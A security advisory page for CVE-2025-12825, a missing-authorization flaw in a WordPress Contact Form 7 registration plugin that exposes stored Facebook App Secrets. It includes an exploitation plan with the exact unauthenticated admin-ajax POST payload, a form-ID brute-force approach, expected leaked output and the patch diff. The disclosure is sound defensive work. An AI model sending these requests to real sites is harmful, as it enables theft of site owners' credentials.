CVE-2025-12825

User Registration Using Contact Form 7 <= 2.5 - Authenticated (Subscriber+) Information Exposure

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
2.6
Patched in
1d
Time to patch

Description

The User Registration Using Contact Form 7 plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'get_cf7_form_data' function in all versions up to, and including, 2.5. This makes it possible for unauthenticated attackers to retrieve form settings which includes Facebook app secrets.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.5
PublishedJanuary 16, 2026
Last updatedJanuary 17, 2026

What Changed in the Fix

Changes introduced in v2.6

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2025-12825 ## 1. Vulnerability Summary The **User Registration Using Contact Form 7** plugin (up to version 2.5) is vulnerable to information exposure via the `get_cf7_form_data` AJAX action. The function `fn_get_cf7_form_data` lacks any authorization checks (e.g.…

Show full research plan

Exploitation Research Plan - CVE-2025-12825

1. Vulnerability Summary

The User Registration Using Contact Form 7 plugin (up to version 2.5) is vulnerable to information exposure via the get_cf7_form_data AJAX action. The function fn_get_cf7_form_data lacks any authorization checks (e.g., current_user_can) or CSRF protection (nonces). Crucially, the plugin registers this action with both wp_ajax_ and wp_ajax_nopriv_, making it accessible to unauthenticated users. When called with a valid Contact Form 7 ID that matches the current plugin configuration, it returns sensitive settings including Facebook App IDs and App Secrets.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Method: POST
  • Action: get_cf7_form_data
  • Vulnerable Parameter: zurcf7_formid
  • Authentication: Unauthenticated (accessible via wp_ajax_nopriv_)
  • Preconditions:
    1. The plugin must be configured to use a specific Contact Form 7 form for registration.
    2. Sensitive data (Facebook App Secret) must be saved in the plugin settings.

3. Code Flow

  1. Hook Registration: In inc/class.zurcf7.php, the action is registered:
    add_action("wp_ajax_get_cf7_form_data", array($this,"fn_get_cf7_form_data"));
    add_action("wp_ajax_nopriv_get_cf7_form_data", array($this,"fn_get_cf7_form_data"));
    
  2. Function Execution: When the AJAX request is received, ZURCF7::fn_get_cf7_form_data() is executed.
  3. Parameter Handling: It retrieves the target form ID:
    $zurcf7_formid = (get_option( 'zurcf7_formid')) ? get_option( 'zurcf7_formid') : "";
    // ...
    if(!empty(sanitize_text_field($_POST['zurcf7_formid']))){
    
  4. Logic Branch: If the provided zurcf7_formid matches the stored get_option('zurcf7_formid'), the function enters the branch that retrieves sensitive data:
    if( $zurcf7_formid == sanitize_text_field($_POST['zurcf7_formid']) ){
        // ...
        $zurcf7_fb_signup_app_id = (get_option( 'zurcf7_fb_signup_app_id')) ? get_option( 'zurcf7_fb_signup_app_id') : "";
        $zurcf7_fb_app_secret = (get_option( 'zurcf7_fb_app_secret')) ? get_option( 'zurcf7_fb_app_secret') : "";
    
  5. Information Leak: These values are packed into an array and returned via echo json_encode($return_arr);.

4. Nonce Acquisition Strategy

No nonce is required.
Analysis of inc/class.zurcf7.php confirms that fn_get_cf7_form_data does not call check_ajax_referer() or wp_verify_nonce(). The frontend JavaScript in assets/js/admin.js also sends the request without a nonce parameter.

5. Exploitation Strategy

The attacker needs to provide the zurcf7_formid currently used by the plugin. Since this ID refers to a Contact Form 7 post, it is typically a sequential integer. An attacker can enumerate this ID.

Step-by-Step Plan:

  1. Target Identification: Identify the admin-ajax.php URL.
  2. Enumerate Form ID:
    Send a POST request to admin-ajax.php with the action and a guessed ID.
  3. Construct Payload:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=get_cf7_form_data&zurcf7_formid=[ID]
    
  4. Analyze Response: If the ID is correct, the JSON response will contain:
    • response: "success"
    • is_exists: "yes"
    • zurcf7_fb_app_secret: "SECRET_VALUE"

6. Test Data Setup

  1. Install Dependencies: Ensure Contact Form 7 is installed and active.
  2. Create CF7 Form: Create at least one Contact Form 7 form.
    • wp post create --post_type=wpcf7_contact_form --post_title="Registration Form" --post_status=publish
  3. Get CF7 ID: Note the ID of the created form.
  4. Configure Vulnerable Plugin: Use WP-CLI to set the plugin options to simulate a configured environment.
    # Set the form ID
    wp option update zurcf7_formid [ID_FROM_STEP_3]
    # Set the sensitive Facebook data
    wp option update zurcf7_fb_signup_app_id "123456789"
    wp option update zurcf7_fb_app_secret "vulnerable_fb_secret_2025"
    

7. Expected Results

A successful exploit will return a JSON object.
Sample Response:

{
    "response": "success",
    "is_exists": "yes",
    "zurcf7_fb_signup_app_id": "123456789",
    "zurcf7_fb_app_secret": "vulnerable_fb_secret_2025",
    "formtag": "..."
}

8. Verification Steps

  1. Check Options via CLI: Verify the secret actually exists in the database.
    wp option get zurcf7_fb_app_secret
    
  2. Compare HTTP Result: Ensure the value returned in the HTTP response matches the database value.

9. Alternative Approaches

If the zurcf7_formid is unknown:

  1. Source Code Inspection: Check if the site's frontend source contains any Contact Form 7 shortcodes (e.g., id="123").
  2. Brute Force: Since CF7 IDs are Post IDs, they usually range from 1 to 5000. Use a script to iterate through IDs until response == "success" && is_exists == "yes" is returned.
  3. Subscriber Access: Log in as a Subscriber and try the same endpoint (as per the "Subscriber+" part of the CVE description, although nopriv makes it even more severe).
Research Findings
Static analysis — not yet PoC-verified

Summary

The User Registration Using Contact Form 7 plugin exposes sensitive configuration data, including Facebook App IDs and App Secrets, through an insecure AJAX endpoint. Because the 'get_cf7_form_data' action is registered for unauthenticated users (nopriv) and lacks any authorization or nonce verification, an attacker can retrieve plugin settings by providing a valid Contact Form 7 ID.

Vulnerable Code

// inc/class.zurcf7.php

// Line 43-44: Hook registration for both authenticated and unauthenticated users
add_action("wp_ajax_get_cf7_form_data", array($this,"fn_get_cf7_form_data"));
add_action("wp_ajax_nopriv_get_cf7_form_data", array($this,"fn_get_cf7_form_data"));

---

// inc/class.zurcf7.php

// Line 181: Missing capability and nonce checks
function fn_get_cf7_form_data(){
//Get current saved CF7 ID
    $zurcf7_formid = (get_option( 'zurcf7_formid')) ? get_option( 'zurcf7_formid') : "";

    $html .= '<option value="">Select field</option>';
    if(!empty(sanitize_text_field($_POST['zurcf7_formid']))){

        // ... logic to verify form ID matches current config ...
        if( $zurcf7_formid == sanitize_text_field($_POST['zurcf7_formid']) ){

            // ... (truncated) ...

            /*Start FB Field */
            $zurcf7_fb_signup_app_id = (get_option( 'zurcf7_fb_signup_app_id')) ? get_option( 'zurcf7_fb_signup_app_id') : "";
            $zurcf7_fb_app_secret = (get_option( 'zurcf7_fb_app_secret')) ? get_option( 'zurcf7_fb_app_secret') : "";
            /*End FB Field */

            $return_arr = array(
                "response" => "success",
                "is_exists" => "yes",
                // ...
                "zurcf7_fb_signup_app_id" => $zurcf7_fb_signup_app_id,
                "zurcf7_fb_app_secret" => $zurcf7_fb_app_secret,
                // ...
            );
            echo json_encode($return_arr);
            die();
        }
    }
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/user-registration-using-contact-form-7/2.5/assets/js/admin.js /home/deploy/wp-safety.org/data/plugin-versions/user-registration-using-contact-form-7/2.6/assets/js/admin.js
--- /home/deploy/wp-safety.org/data/plugin-versions/user-registration-using-contact-form-7/2.5/assets/js/admin.js	2025-12-15 11:06:20.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/user-registration-using-contact-form-7/2.6/assets/js/admin.js	2026-01-06 06:59:06.000000000 +0000
@@ -6,7 +6,7 @@
             type: "POST",
             dataType: "json",
             url: ajaxurl,
-            data: { action: "get_cf7_form_data", zurcf7_formid: zurcf7_formid },
+            data: { action: "get_cf7_form_data", zurcf7_formid: zurcf7_formid, nonce: cf7forms_data.ajax_nonce },
             beforeSend: function() {
                 $('.loader').show();
             },
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/user-registration-using-contact-form-7/2.5/inc/admin/class.zurcf7.admin.action.php /home/deploy/wp-safety.org/data/plugin-versions/user-registration-using-contact-form-7/2.6/inc/admin/class.zurcf7.admin.action.php
--- /home/deploy/wp-safety.org/data/plugin-versions/user-registration-using-contact-form-7/2.5/inc/admin/class.zurcf7.admin.action.php	2025-12-15 11:06:20.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/user-registration-using-contact-form-7/2.6/inc/admin/class.zurcf7.admin.action.php	2026-01-06 06:59:06.000000000 +0000
@@ -77,7 +79,7 @@
 					'zurcf7_acf_field_mapping' => __( '<h3>ACF Plugin Required</h3><p>ACF Plugin is required for ACF Field Mapping</p>', 'user-registration-using-contact-form-7' ),
 					'zurcf7_fb_signup_app_id_tool' => __( '<h3>App Id</h3><p>Please enter app id.</p>', 'user-registration-using-contact-form-7' ),
 					'zurcf7_fb_app_secret_tool' => __( '<h3>App Secret</h3><p>Please enter app secret.</p>', 'user-registration-using-contact-form-7' ),
-					
+					'ajax_nonce' => wp_create_nonce( 'zurcf7_get_cf7_form_data' ),
 				);
 
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/user-registration-using-contact-form-7/2.5/inc/class.zurcf7.php /home/deploy/wp-safety.org/data/plugin-versions/user-registration-using-contact-form-7/2.6/inc/class.zurcf7.php
--- /home/deploy/wp-safety.org/data/plugin-versions/user-registration-using-contact-form-7/2.5/inc/class.zurcf7.php	2025-12-15 11:06:20.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/user-registration-using-contact-form-7/2.6/inc/class.zurcf7.php	2026-01-06 06:59:06.000000000 +0000
@@ -41,7 +41,6 @@
 
 			#get Contact form data in admin
 			add_action("wp_ajax_get_cf7_form_data", array($this,"fn_get_cf7_form_data"));
-			add_action("wp_ajax_nopriv_get_cf7_form_data", array($this,"fn_get_cf7_form_data"));
 
 		}
 
@@ -178,10 +177,22 @@
 		 *
 		 */
 		function fn_get_cf7_form_data(){
-		//Get current saved CF7 ID
+			// Check user capabilities - only allow users with manage_options capability
+			if ( ! current_user_can( 'manage_options' ) ) {
+				wp_send_json( array( 'response' => 'error', 'formtag' => '<option value="">Unauthorized access</option>' ) );
+				return;
+			}
+
+			// Verify nonce for additional security
+			if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'zurcf7_get_cf7_form_data' ) ) {
+				wp_send_json( array( 'response' => 'error', 'formtag' => '<option value="">Security check failed</option>' ) );
+				return;
+			}
+
+			//Get current saved CF7 ID
 			$zurcf7_formid = (get_option( 'zurcf7_formid')) ? get_option( 'zurcf7_formid') : "";
 
-			$html .= '<option value="">Select field</option>';
+			$html = '<option value="">Select field</option>';

Exploit Outline

The exploit targets the `/wp-admin/admin-ajax.php` endpoint. An attacker sends a POST request with the `action` parameter set to `get_cf7_form_data` and a `zurcf7_formid` parameter. Because the vulnerable function is registered via `wp_ajax_nopriv_`, the attacker does not need to be authenticated. By successfully guessing or finding the valid Contact Form 7 ID used in the plugin's registration settings, the attacker receives a JSON response containing the Facebook App ID and App Secret stored in the WordPress options table.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.